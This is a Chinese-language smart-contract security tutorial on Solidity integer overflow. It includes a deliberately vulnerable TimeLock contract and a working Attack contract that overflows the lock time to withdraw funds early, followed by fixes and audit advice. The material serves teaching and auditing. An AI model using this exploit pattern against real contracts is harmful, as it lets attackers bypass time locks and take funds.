文章目录
- 溢出
- 上溢示例
- 溢出漏洞
- 溢出示例
- 漏洞代码
- 代码审计
- 1. deposit 函数
- 2. increaseLockTime 函数
- 攻击代码
- 攻击过程总结
- 修复建议
- 审计思路
溢出
算术溢出(Arithmetic Overflow),简称溢出(Overflow),通常分为两类:上溢和下溢。
-
上溢是指在进行数值计算时,结果超过了变量所能表示的最大值。例如,在 Solidity 中,
uint8
类型的取值范围为 0 到 255(共 256 个整数)。当我们执行uint8(255 + 1)
时,结果将出现上溢,最终值为0
,也就是该类型的最小值。 -
下溢则相反,是指结果小于变量所能表示的最小值。例如,
uint8(0 - 1)
会产生下溢,计算结果会变为255
,即uint8
类型的最大值。
上溢示例
在 C 语言中,unsigned char 最大是 255。
现在我们构造上溢代码:
#include <stdio.h>
int main() {unsigned char x = 255;printf("%d\n", x);x = x + 1;printf("%d", x);
}
可以看到,255 + 1 → 超出范围 → 回绕为 0:
溢出漏洞
溢出漏洞是指在智能合约中,因数值计算发生溢出而导致逻辑错误的问题。
如果一个合约存在溢出漏洞,可能会使实际的计算结果与预期结果产生巨大偏差,轻则影响合约逻辑的正确执行,重则可能造成资金丢失。
需要注意的是,溢出漏洞具有版本限制。在 Solidity 0.8 之前的版本,编译器不会对溢出行为进行检查,也不会报错,容易被攻击者利用。而从 Solidity 0.8 及以上版本 开始,编译器默认会在发生溢出或下溢时抛出异常,防止此类问题。因此,当我们审计或分析 低于 0.8 版本 的合约时,需要特别注意其是否存在溢出风险。
溢出示例
溢出代码如下所示:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;contract OverflowDemo {uint8 public number = 255;function add() public {// 在 Solidity 0.8.0 及以上版本中,编译器会自动进行溢出检查// 使用 unchecked 关键字可以显式关闭这一检查,从而允许溢出行为发生unchecked {number = number + 1; // 溢出:结果变成 0}}
}
在代码中,我们规定 number 是一个 uint8 类型的变量,最大值为 255。
理论上分析:当执行 add() 函数时,number + 1 的结果超出了 uint8 的上限,会发生上溢,结果变为 0。
下面通过 https://remix.ethereum.org/ 在线运行以上代码来展示溢出:
1.打开 Remix IDE
进入网址:https://remix.ethereum.org/
2.新建一个文件
在左侧文件管理器中,创建一个新文件,例如命名为 OverflowDemo.sol。
3.复制并粘贴代码到文件中
4.编译合约
在左侧点击「Solidity 编译器」图标,在 “Compiler Version” 下拉框中选择 0.8.29。
点击 “Compile OverflowDemo.sol”(编译)按钮。
5.部署合约
编译成功后,点击左侧的「部署与运行交易」(Ethereum 图标);Environment 保持默认的 JavaScript VM;再点击 “Deploy” 按钮。
如图,控制台显示部署成功:
6.调用函数并观察结果
展开下方已部署的合约实例(灰色条):
点击 number() 查看当前数值,为 255:
点击 add() 来执行加法操作:
再次点击 number(),结果变成了 0,说明发生了上溢:
漏洞代码
现有一 TimeLock 合约代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;contract TimeLock {// 存储每个用户的以太币余额mapping(address => uint) public balances;// 存储每个用户的锁仓时间(解锁时间戳)mapping(address => uint) public lockTime;// 用户充值函数,同时设置锁仓时间为当前时间 + 1 周function deposit() external payable {balances[msg.sender] += msg.value;lockTime[msg.sender] = block.timestamp + 1 weeks;}// 用户可以增加自己的锁仓时间function increaseLockTime(uint _secondsToIncrease) public {lockTime[msg.sender] += _secondsToIncrease;}// 提现函数,要求用户有余额且已过锁仓期function withdraw() public {require(balances[msg.sender] > 0, "Insufficient funds"); // 确保有余额require(block.timestamp > lockTime[msg.sender], "Lock time not expired"); // 确保锁仓期已过uint amount = balances[msg.sender];balances[msg.sender] = 0;// 使用 call 方式发送以太币(bool sent, ) = msg.sender.call{value: amount}("");require(sent, "Failed to send Ether");}
}
代码审计
该 TimeLock 合约的设计初衷是实现一个简单的时间锁功能:用户可以通过 deposit 函数向合约存入 ETH,并触发锁定机制,锁定期为一周。用户也可以通过 increaseLockTime 函数延长锁定时间。而用户在锁定期内是无法提取资金的,必须等待锁定时间结束后,才可调用 withdraw 函数提取存款。
我们可以注意到该合约编译器版本为 ^0.7.6,而在 Solidity 0.8.0 之前,算术运算并不会自动进行溢出检查。因此,该合约中涉及到的加法操作可能存在整数溢出漏洞。
我们重点分析以下两个存在加法操作的函数。
1. deposit 函数
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
balances[msg.sender] += msg.value
这行代码中,攻击者可以传入大量 msg.value,在极端情况下可能导致 balances 值溢出。不过,要实现 uint256 类型的溢出,攻击者必须存入接近 2^256 的 ETH,这是不现实的。因此此处虽存在理论上的溢出可能,但在实际攻击中不具备可行性。
lockTime[msg.sender] = block.timestamp + 1 weeks
这里的加法操作中的值是固定的一周(604800 秒),不可控,因此攻击者无法操控其造成溢出。
你可能会问:“如果我每次存入 1 个以太币,锁仓时间就增加一周,那我反复存很多次,会不会最终导致时间溢出呢?”
实际上这是不可能发生的。原因是:通过计算,要触发整数溢出,需要存入的次数高达 10⁷¹ 级别,对应的以太币数量远远超过当前整个以太坊网络的 ETH 总供应量(约 1.2 亿个 ETH)。这在现实中根本无法实现。
2. increaseLockTime 函数
lockTime[msg.sender] += _secondsToIncrease;
这是整个合约的关键漏洞点。
_secondsToIncrease 参数是由用户传入的,完全可控。该参数与当前的 lockTime 相加,而没有进行溢出检查。
如果攻击者传入一个非常大的值,使得结果超过 uint256 的上限,就会发生溢出,从而使 lockTime[msg.sender] 被绕回非常小的值甚至为 0。这样,攻击者可以绕过时间锁限制,立即调用 withdraw 提现函数,提前取出本应锁定的资金。
攻击代码
通过以上思路,可构造恶意攻击代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;// 攻击合约
contract Attack {TimeLock timeLock;// 构造函数,接收目标 TimeLock 合约的地址constructor(TimeLock _timeLock) {timeLock = TimeLock(_timeLock);}// fallback 函数,用于接收从 TimeLock 合约提取的 ETHfallback() external payable {}// 攻击函数function attack() public payable {// 第一步:调用 TimeLock 的 deposit 函数,存入 ETH 并初始化 lockTimetimeLock.deposit{value: msg.value}();/*第二步:利用 increaseLockTime 函数中的整数溢出漏洞- 获取当前合约的 lockTime 值- 构造:type(uint).max + 1 - 当前 lockTime在 uint256 下:type(uint).max + 1 = 2^256 -1 + 1 = 2^256 ≡ 0 (发生溢出)因此相加后结果为 0,从而绕过时间锁限制*/timeLock.increaseLockTime(type(uint).max + 1 - timeLock.lockTime(address(this)));// 第三步:绕过锁定时间限制,立即提取 ETHtimeLock.withdraw();}
}
流程:
lockTime[msg.sender] (锁仓时间)
=
lockTime[msg.sender] + type(uint).max + 1 - lockTime[msg.sender]
=
lockTime[msg.sender] + (2^256 - lockTime[msg.sender])
=
2^256
≡
0 (mod 2^256)
而block.timestamp > lockTime[msg.sender]
用于判断当前区块的时间戳(即当前时间)是否大于该用户的锁定时间,于是我们通过了安全检查,成功实现立即提现。
攻击过程总结
1.部署 TimeLock 合约
2.部署 Attack 合约
3.在 Attack 合约的构造函数中传入已部署的 TimeLock 合约地址,完成初始化。
4.调用 Attack.attack 函数
在attack函数中,首先调用 TimeLock.deposit 向合约中存入 1 个以太币(或任意数量的 ETH)。此时,TimeLock 会将该 ETH 锁定一周,即设置 lockTime[msg.sender] = block.timestamp + 1 weeks。
5.接着,攻击合约调用 TimeLock.increaseLockTime,传入参数:
type(uint).max + 1 - lockTime[address(this)]
即:2^256 - lockTime[address(this)]。由于 Solidity 0.7.6 不会自动检测整数溢出,此操作将使 lockTime 字段发生上溢,计算结果变为 2^256 ≡ 0(模 2^256)。
6.此时 lockTime[msg.sender] 已被重置为 0,意味着锁定时间等于区块时间戳起点(1970 年)。因此,接下来执行的:
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
判断将始终成立,成功绕过锁仓限制。
7.调用 TimeLock.withdraw,合约允许提款条件被满足,攻击者立即取出刚才存入的 ETH,实现提前解锁提现,绕过了一周的锁定期。
8.如果配合 DeFi 中的价格波动、奖励计算(如利息、奖励分配机制),攻击者甚至可以在锁仓状态下提前领取奖励、套利。
修复建议
1.编写 Solidity < 0.8 的合约时使用 SafeMath 库
在 0.8 之前版本中,Solidity 不会自动检查整数溢出,因此推荐引入 OpenZeppelin 提供的 SafeMath 库,替代原始的 + - * 等操作符,避免常见的加减乘除溢出问题。
2.优先使用 Solidity 0.8 及以上版本
从 0.8 起,Solidity 内置了溢出检查机制(默认开启),大大提高了数值安全性。但需要注意,如果使用了 unchecked 代码块,则会跳过溢出检查。
3.谨慎进行类型强制转换
将较大的数值类型(如 uint256)强制转换为较小的类型(如 uint8、uint32)时,若数值超出目标类型的范围,会自动截断(mod 运算),从而产生溢出风险。因此类型转换前应始终进行显式的边界检查。
审计思路
1.检查编译器版本和 unchecked 使用情况
若发现合约使用的是 Solidity 0.8 以下版本,则默认存在溢出风险,需重点审查所有算术运算;在 Solidity 0.8 及以上版本中,若出现 unchecked 代码块,也需检查其内部的算术操作,判断是否存在隐患。
2.确认 Solidity < 0.8 的合约是否使用了 SafeMath
如果合约在低版本中引入了 SafeMath,说明开发者有防溢出意识;但仍需检查所有运算是否都使用了 SafeMath 封装,避免遗漏。
3.注意类型转换隐患
合约中若存在 uint256 转 uint8、int 转 uint 等类型强制转换操作,应详细检查边界值,避免数值截断引发溢出或逻辑漏洞。
4.实际审计中应结合调用逻辑、传入参数范围以及合约业务场景综合分析。